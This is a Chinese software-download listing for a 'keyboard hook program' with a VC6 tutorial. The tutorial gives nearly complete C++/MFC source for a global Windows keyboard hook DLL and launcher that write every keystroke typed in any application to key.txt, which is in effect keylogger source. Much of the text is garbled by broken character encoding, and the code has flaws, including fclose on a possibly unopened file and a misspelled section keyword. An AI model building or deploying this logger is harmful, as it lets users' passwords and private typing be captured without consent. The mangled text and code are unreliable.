鍵盤鉤子程序
- 軟件類型：
- 國產(chǎn)軟件
- 軟件語言：
- 簡體中文
- 軟件大�。�
- 1 MB
- 軟件授權(quán)：
- 免費軟件
- 軟件評級：
- 4
- 更新時間：
- 2014-10-11
- 應(yīng)用平臺：
- WinXP, Win7, WinAll
一個簡單的鍵盤鉤子程序
實現(xiàn)適時監(jiān)視鍵盤，并將按鍵信息保存在TXT文件中的程序
Windows系統(tǒng)是建立在事件驅(qū)動的機制上的，說穿了就是整個系統(tǒng)都是通過消息的傳遞來實現(xiàn)的。而鉤子是Windows系統(tǒng)中非常重要的系統(tǒng)接口，用它可以截獲并處理送給其他應(yīng)用程序的消息，來完成普通應(yīng)用程序難以實現(xiàn)的功能。鉤子的種類很多，每種鉤子可以截獲并處理相應(yīng)的消息，如鍵盤鉤子可以截獲鍵盤消息，外殼鉤子可以截取、啟動和關(guān)閉應(yīng)用程序的消息等。本文在VC6編程環(huán)境下實現(xiàn)了一個簡單的鍵盤鉤子程序，并對Win32全局鉤子的運行機制、Win32 DLL的特點、VC6環(huán)境下的MFC DLL以及共享數(shù)據(jù)等相關(guān)知識進行了簡單的闡述。
一．Win32全局鉤子的運行機制
鉤子實際上是一個處理消息的程序段，通過系統(tǒng)調(diào)用，把它掛入系統(tǒng)。每當特定的消息發(fā)出，在沒有到達目的窗口前，鉤子程序就先捕獲該消息，亦即鉤子函數(shù)先得到控制權(quán)。這時鉤子函數(shù)即可以加工處理（改變）該消息，也可以不作處理而繼續(xù)傳遞該消息，還可以強制結(jié)束消息的傳遞。對每種類型的鉤子由系統(tǒng)來維護一個鉤子鏈，最近安裝的鉤子放在鏈的開始，而最先安裝的鉤子放在最后，也就是后加入的先獲得控制權(quán)。要實現(xiàn)Win32的系統(tǒng)鉤子，必須調(diào)用SDK中的API函數(shù)SetWindowsHookEx來安裝這個鉤子函數(shù)，這個函數(shù)的原型是
HHOOK SetWindowsHookEx(int idHook，HOOKPROC lpfn，HINSTANCE hMod，DWORD dwThreadId);
其中，第個參數(shù)是鉤子的類型；第二個參數(shù)是鉤子函數(shù)的地址；第三個參數(shù)是包含鉤子函數(shù)的模塊句柄；第四個參數(shù)指定監(jiān)視的線程。如果指定確定的線程，即為線程專用鉤子；如果指定為空，即為全局鉤子。其中，全局鉤子函數(shù)必須包含在DLL（動態(tài)鏈接庫）中，而線程專用鉤子還可以包含在可執(zhí)行文件中。得到控制權(quán)的鉤子函數(shù)在完成對消息的處理后，如果想要該消息繼續(xù)傳遞，那么它必須調(diào)用另外一個SDK中的API函數(shù)CallNextHookEx來傳遞它。鉤子函數(shù)也可以通過直接返回TRUE來丟棄該消息，并阻止該消息的傳遞。
二．Win32 DLL的特點
Win32 DLL與 Win16 DLL有很大的區(qū)別，這主要是由操作系統(tǒng)的設(shè)計思想決定的。一方面，在Win16 DLL中程序入口點函數(shù)和出口點函數(shù)（LibMain和WEP）是分別實現(xiàn)的；而在Win32 DLL中卻由同一函數(shù)DLLMain來實現(xiàn)。無論何時，當一個進程或線程載入和卸載DLL時，都要調(diào)用該函數(shù)，它的原型是
BOOL WINAPI DllMain(HINSTANCE hinstDLL，DWORD fdwReason， LPVOID lpvReserved);
其中，第一個參數(shù)表示DLL的實例句柄；第三個參數(shù)系統(tǒng)保留；這里主要介紹一下第二個參數(shù)，它有四個可能的值：DLL_PROCESS_ATTACH（進程載入），DLL_THREAD_ATTACH（線程載入），DLL_THREAD_DETACH（線程卸載），DLL_PROCESS_DETACH（進程卸載），在DLLMain函數(shù)中可以對傳遞進來的這個參數(shù)的值進行判別，并根據(jù)不同的參數(shù)值對DLL進行必要的初始化或清理工作。舉個例子來說，當有一個進程載入一個DLL時，系統(tǒng)分派給DLL的第二個參數(shù)為DLL_PROCESS_ATTACH，這時，你可以根據(jù)這個參數(shù)初始化特定的數(shù)據(jù)。另一方面，在Win16環(huán)境下，所有應(yīng)用程序都在同一地址空間；而在Win32環(huán)境下，所有應(yīng)用程序都有自己的私有空間，每個進程的空間都是相互獨立的，這減少了應(yīng)用程序間的相互影響，但同時也增加了編程的難度。大家知道，在Win16環(huán)境中，DLL的全局數(shù)據(jù)對每個載入它的進程來說都是相同的；而在Win32環(huán)境中，情況卻發(fā)生了變化，當進程在載入DLL時，系統(tǒng)自動把DLL地址映射到該進程的私有空間，而且也復制該DLL的全局數(shù)據(jù)的一份拷貝到該進程空間，也就是說每個進程所擁有的相同的DLL的全局數(shù)據(jù)其值卻并不一定是相同的。因此，在Win32環(huán)境下要想在多個進程中共享數(shù)據(jù)，就必須進行必要的設(shè)置。亦即把這些需要共享的數(shù)據(jù)分離出來，放置在一個獨立的數(shù)據(jù)段里，并把該段的屬性設(shè)置為共享。
三．VC6中MFC DLL的分類及特點
在VC6中有三種形式的MFC DLL（在該DLL中可以使用和繼承已有的MFC類)可供選擇，即Regular statically linked to MFC DLL（標準靜態(tài)鏈接MFC DLL）和Regular using the shared MFC DLL（標準動態(tài)鏈接MFC DLL）以及Extension MFC DLL（擴展MFC DLL）。第一種DLL的特點是，在編譯時把使用的MFC代碼加入到DLL中，因此，在使用該程序時不需要其他MFC動態(tài)鏈接類庫的存在，但占用磁盤空間比較大；第二種DLL的特點是，在運行時，動態(tài)鏈接到MFC類庫，因此減少了空間的占用，但是在運行時卻依賴于MFC動態(tài)鏈接類庫；這兩種DLL既可以被MFC程序使用也可以被Win32程序使用。第三種DLL的特點類似于第二種，做為MFC類庫的擴展，只能被MFC程序使用。
四．在VC6中全局共享數(shù)據(jù)的實現(xiàn)
在主文件中，用#pragma data_seg建立一個新的數(shù)據(jù)段并定義共享數(shù)據(jù)，其具體格式為:
#pragma data_seg （"shareddata")
HWND sharedwnd=NULL;//共享數(shù)據(jù)
#pragma data_seg()
僅定義一個數(shù)據(jù)段還不能達到共享數(shù)據(jù)的目的，還要告訴編譯器該段的屬性，有兩種方法可以實現(xiàn)該目的（其效果是相同的），一種方法是在.DEF文件中加入如下語句：
SETCTIONS
shareddata READ WRITE SHARED
另一種方法是在項目設(shè)置鏈接選項中加入如下語句：
/SECTION:shareddata，rws
五．具體實現(xiàn)步驟
由于全局鉤子函數(shù)必須包含在動態(tài)鏈接庫中，所以本例由兩個程序體來實現(xiàn)。
1．建立鉤子KeyboardHook.dll
(1)選擇MFC AppWizard(DLL)創(chuàng)建項目Mousehook；
(2)選擇MFC Extension DLL（共享MFC拷貝）類型；
(3)由于VC6沒有現(xiàn)成的鉤子類，所以要在項目目錄中創(chuàng)建KeyboardHook.h文件，在其中建立鉤子類：
class AFX_EXT_CLASS CKeyboardHook : public CObject
{
public:
CKeyboardHook();//鉤子類的構(gòu)造函數(shù)
virtual ~CKeyboardHook();//鉤子類的析構(gòu)函數(shù)
public:
BOOL StartHook(); //安裝鉤子函數(shù)
BOOL StopHook();//卸載鉤子函數(shù)
};
(4)在KeyboardHook.cpp文件的頂部加入#include "KeyboardHook.h"語句；
(5)在KeyboardHook.cpp文件的頂部加入全局共享數(shù)據(jù)變量：
#pragma data_seg("mydata")
HHOOK glhHook=NULL; //安裝的鼠標勾子句柄
HINSTANCE glhInstance=NULL; //DLL實例句柄
#pragma data_seg()
(6)在DEF文件中定義段屬性：
SECTIONS
mydata READ WRITE SHARED
(7)在主文件KeyboardHook.cpp的DllMain函數(shù)中加入保存DLL實例句柄的語句：
glhInstance=hInstance;//插入保存DLL實例句柄
(8)鍵盤鉤子函數(shù)的實現(xiàn)：
//鍵盤鉤子函數(shù)
LRESULT CALLBACK KeyboardProc(int nCode，WPARAM wParam，LPARAM lParam)
{
char ch=0;
FILE *fl;
if( ((DWORD)lParam&0x40000000) && (HC_ACTION==nCode) ) //有鍵按下
{
if( (wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100) )
{
fl=fopen("key.txt"，"a＋"); //輸出到key.txt文件
if (wParam==VK_RETURN)
{
ch=' ';
}
else
{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan=0;
ToAscii(wParam，scan，ks，&w，0);
//ch=MapVirtualKey(wParam，2); //把虛鍵代碼變?yōu)樽址?span style="display:none">PVT紅軟基地
ch =char(w);
}
fwrite(&ch， sizeof(char)， 1， fl);
}
fclose(fl);
}
return CallNextHookEx( glhHook， nCode， wParam， lParam );
}
(9)類CKeyboardHook的成員函數(shù)的具體實現(xiàn)：
CKeyboardHook::CKeyboardHook()
{
}
CKeyboardHook::~CKeyboardHook()
{
if(glhHook)
UnhookWindowsHookEx(glhHook);
}
//安裝鉤子并設(shè)定接收顯示窗口句柄
BOOL CKeyboardHook::StartHook()
{
BOOL bResult=FALSE;
glhHook=SetWindowsHookEx(WH_KEYBOARD，KeyboardProc，glhInstance，0);
/*============================================================
HHOOK SetWindowsHookEx( int idHook，HOOKPROC lpfn， INSTANCE hMod，DWORD dwThreadId )
參數(shù)idHook表示鉤子類型，它是和鉤子函數(shù)類型一一對應(yīng)的。
比如，WH_KEYBOARD表示安裝的是鍵盤鉤子，WH_MOUSE表示是鼠標鉤子等等。
Lpfn是鉤子函數(shù)的地址。
HMod是鉤子函數(shù)所在的實例的句柄。對于線程鉤子，該參數(shù)為NULL；對于系統(tǒng)鉤子，
該參數(shù)為鉤子函數(shù)所在的DLL句柄。
dwThreadId 指定鉤子所監(jiān)視的線程的線程號。對于全局鉤子，該參數(shù)為NULL。
SetWindowsHookEx返回所安裝的鉤子句柄。
值得注意的是線程鉤子和系統(tǒng)鉤子的鉤子函數(shù)的位置有很大的差別。
線程鉤子一般在當前線程或者當前線程派生的線程內(nèi)，
而系統(tǒng)鉤子必須放在獨立的動態(tài)鏈接庫中，實現(xiàn)起來要麻煩一些。
===========================================================*/
if(glhHook!=NULL)
bResult=TRUE;
return bResult;
}
//卸載鉤子
BOOL CKeyboardHook::StopHook()
{
BOOL bResult=FALSE;
if(glhHook)
{
bResult= UnhookWindowsHookEx(glhHook);
if(bResult)
glhHook=NULL;
}
return bResult;
}
(10)編譯項目生成KeyboardHook.dll。
2．創(chuàng)建鉤子可執(zhí)行程序
(1)用MFC的AppWizard(EXE)創(chuàng)建項目KeyHook；
(2)選擇“基于對話應(yīng)用”并按下“完成”鍵；
(3)在KeyHookDlg.h中加入包含語句#include "KeyboardHook.h"；
(4)在KeyHookDlg.h中添加私有數(shù)據(jù)成員：
CKeyboardHook m_hook;//加入鉤子類作為數(shù)據(jù)成員
(5)鏈接DLL庫，即把../KeyboardHook.lib加入到項目設(shè)置鏈接標簽中；
(6)把OK按鈕ID改為ID_HOOK，寫實現(xiàn)代碼:
void CKeyHookDlg::OnHook()
{
m_hook.StartHook();
}
(7)關(guān)閉按鈕實現(xiàn):
void CKeyHookDlg::OnCancel()
{
m_hook.StopHook();
CDialog::OnCancel();
}
(8)編譯項目生成可執(zhí)行文件；
運行生成的KeyHook.exe程序，按HOOK!按鈕，加載鉤子后按下鍵盤上的一些鍵，可以發(fā)現(xiàn)EXE目錄下自動生成了一個key.txt文件，該文件記載了你的按鍵信息
鍵盤鉤子程序截圖
